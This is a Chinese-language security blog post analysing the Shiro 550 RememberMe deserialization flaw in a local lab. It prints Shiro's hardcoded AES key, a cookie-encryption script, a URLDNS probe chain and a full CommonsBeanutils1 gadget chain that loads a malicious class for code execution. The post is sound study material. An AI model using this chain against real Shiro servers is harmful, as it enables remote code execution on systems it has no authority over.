ShiroのCommonBeanUtils利用链 - Boogiepop Doesn’t Laugh Java反序列化Shiro篇01-Shiro550流程分析 | Drunkbaby’s Blog
前言 没有路线,网上的路线学起来太难受了,这里看到哪里学到哪里吧。
环境配置 下载这个 然后Shiro项目直接用P神配置好的,这里直接clone下来即可。
JavaThings/shirodemo at master · phith0n/JavaThings
然后使用idea配置一下安装好的Tomcat环境: 项目结构已经配置好了: 修改运行配置,按照下面要求修改即可: 保存运行后可能出现idea无法访问,但是不要紧,直接用浏览器访问即可:localhost:8080/shirodemo_war/login.jsp
这里记得将localhost更换为本地ipv4的IP(ipconfig里面那个),否则抓不到包。 账号密码是root
和secret
分析 漏洞点 Shiro550 在我之前hvv的时候就遇到了,如果勾选RememberMe
字段,登录成功后会有rememberMe=deleteMe
字段。检测是不是shiro的指纹就是检测返回包中是否有这个字段。 而这个字段是可以执行反序列化操作的,从而可以getshell
解密分析 在CookieRememberMeManager
中我们可以注意到getRememberedSerializedIdentity
这个方法: 先判断是不是http协议,然后获取Cookie参数。 然后判断非空,传回base64解码值。 然后找找谁调用了这个方法:(ctrl + shift + alt + F7
)记得使用之前要勾选自动下载源代码等数据,否则搜索不到: AbstractRememberMeManager
这个类里面使用了getRememberedSerializedIdentity
注释说的:
通过首先获取所记忆的序列化字节数组来实现接口方法。然后对其进行转换,并返回重新构成的 PrincipalCollection。如果无法获取记忆的 principal,则返回 null。如果出现任何异常,则会调用 onRememberedPrincipalFailure(RuntimeException, SubjectContext) 方法,以便进行必要的后处理(例如,为安全起见,立即删除任何先前记住的值)。
说实话没看懂,但是这里把getRememberedSerializedIdentity
返回的RememberMe
里面的base64
解密过后的参数赋值给bytes,然后通过convertBytesToPrincipals
方法赋值给PrincipalCollection
格式的principals
。convertBytesToPrincipals
是一个解密方法: 最重要的这里使用了deserialize
反序列化方法,我们一个一个看:
decrypt方法 构建服务、获取密钥、解密,很标准的流程,容易理解。 这里看看密钥获取方法getDecryptionCipherKey
: 返回一个变量,这个变量仅仅被两个方法使用了,一个是这个一个是:setDecryptionCipherKey
然后是终于到了一个常量处了: 也就是说,Shiro把密钥硬编码写在了代码里。 密钥(base64解密之前):kPH+bIxk5D2deZiIxcaaaA==
deserialize方法 回到刚才的位置,我们继续看deserialize
方法。 再进去是个接口,看看谁实现了这个接口: 在DefaultSerializer
中实现了这个接口,并调用了readObject
方法
加密流程 分析完解密后,我们看看加密流程。看了网上文档说用断点调试: 断在 AbstractRememberMeManager
的onSuccessfulLogin
方法下: 测试登录一下:isRememberMe(token)
判断,进入rememberIdentity
方法。 这里记录了用户名: 然后再返回rememberIdentity
(这种方法重写方法来处理一个流程的写法确实挺有趣) 进入convertPrincipalsToBytes
和之前的convertBytesToPrincipals
类似。只不过是一个是加密,一个是解密;一个是序列化,一个是反序列化。 再进encrypt 他们说一眼AES,但是我怎么没看出来🤔。 然后就是rememberSerializedIdentity
的流程,这里不再重复了。
漏洞利用 需要先准备aes加密脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 import base64import uuidfrom Crypto.Cipher import AESdef aes_enc (data ): BS = AES.block_size pad = lambda s: s + ((BS - len (s) % BS) * chr (BS - len (s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data))) return ciphertext def aes_dec (enc_data ): enc_data = base64.b64decode(enc_data) unpad = lambda s: s[:-s[-1 ]] key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = enc_data[:16 ] encryptor = AES.new(base64.b64decode(key), mode, iv) plaintext = encryptor.decrypt(enc_data[16 :]) plaintext = unpad(plaintext) return plaintext if __name__ == "__main__" : filename = r"D:\Workstation\CodeWorkSpace\Java\JavaSec\Deserialization\CB1Test\secret.bin" with open (filename, 'rb' ) as f: data = f.read() print (aes_enc(data))
URLDNS链 用这个来测试是否漏洞。 这是以前写的URLDNS链子,这里直接用了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import java.io.*;import java.lang.reflect.*;import java.net.URL;import java.util.Base64;import java.util.HashMap;public class URLDNS { static String tarURL = "http://test" ; public static void serialize (Object obj) throws IOException{ ObjectOutputStream objectOutputStream = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); objectOutputStream.writeObject(obj); } public static void main (String[] args) throws Exception{ HashMap<URL, Integer> hashMap = new HashMap <URL, Integer>(); URL url = new URL (tarURL); Class c = url.getClass(); Field hashCode = c.getDeclaredField("hashCode" ); hashCode.setAccessible(true ); hashCode.set(url, 1 ); hashMap.put(url, 1 ); hashCode.set(url, -1 ); serialize(hashMap); } } class Deserialize { static String filename = "ser.bin" ; public static Object deserialize (String filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream (new FileInputStream (filename)); Object obj = objectInputStream.readObject(); return obj; } public static void main (String[] args) throws IOException, ClassNotFoundException { deserialize(filename); } }
用yakit生成个dnslog链接,然后生成ser.bin
再用脚本aes加密,注意使用RememberMe
时需要删掉JSESSIONID
,因为存在JSESSIONID
时会忽略RememberMe
。 测试成功。
CB1链 准备依赖 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <dependencies > <dependency > <groupId > org.apache.shiro</groupId > <artifactId > shiro-core</artifactId > <version > 1.2.4</version > </dependency > <dependency > <groupId > org.javassist</groupId > <artifactId > javassist</artifactId > <version > 3.27.0-GA</version > </dependency > <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.2.1</version > </dependency > <dependency > <groupId > commons-logging</groupId > <artifactId > commons-logging</artifactId > <version > 1.1.1</version > </dependency > </dependencies >
构建 commons-beanutils
链本身是依赖于commons-collections
,但是在shiro中commons-collections
并不全。所以需要借助commons-beanutils
来利用。 调用了PropertyUtils.getProperty
方法。 之前的优先队列类里面的就是使用的compare
方法,因此这里可以构造来实现一个新的链子。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 package com.natro92;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import org.apache.commons.beanutils.BeanComparator;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.InstantiateTransformer;import javax.xml.transform.Templates;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;public class CB1Test { public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates, "_name" , "Natro92" ); byte [] code = Files.readAllBytes(Paths.get("D:\\Workstation\\CodeWorkSpace\\Java\\JavaSec\\Deserialization\\CommonCollections\\cc4Test\\Evil250546845304900.class" )); byte [][] codes = {code}; setFieldValue(templates, "_bytecodes" , codes); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); BeanComparator beanComparator = new BeanComparator (); PriorityQueue<Object> priorityQueue = new PriorityQueue <Object>(2 , beanComparator); priorityQueue.add(1 ); priorityQueue.add(2 ); setFieldValue(beanComparator, "property" , "outputProperties" ); setFieldValue(priorityQueue, "queue" , new Object []{templates, templates}); serialize(priorityQueue); deserialize("secret.bin" ); } public static void setFieldValue (Object object, String fieldName, Object value) throws Exception { Class<? extends Object > _class = object.getClass(); Field declaredField = _class.getDeclaredField(fieldName); declaredField.setAccessible(true ); declaredField.set(object, value); } public static void serialize (Object object) throws Exception { ObjectOutputStream objectOutputStream = new ObjectOutputStream (Files.newOutputStream(Paths.get("secret.bin" ))); objectOutputStream.writeObject(object); } public static Object deserialize (String fileName) throws Exception { ObjectInputStream objectInputStream = new ObjectInputStream (Files.newInputStream(Paths.get(fileName))); return objectInputStream.readObject(); } }
我们调试一轮看看,再熟悉一下流程:readObject
处断点:heapify
再到 siftDown
x是恶意TemplatesImpl
,进去 然后是comparactor
的compare
然后到BeanComparator
的compare
再到PropertyUtils
的getProperty
调用任意get,再就是TemplatesImpl
链子了: 再到newTransformer
和getTransletInstance
使用 注意,可能打不通的原因是因为cb的版本不同。 所以直接用shiro
的依赖就好了。
后记 还是不太熟,记不来顺序,但明显好多了,菜就多练。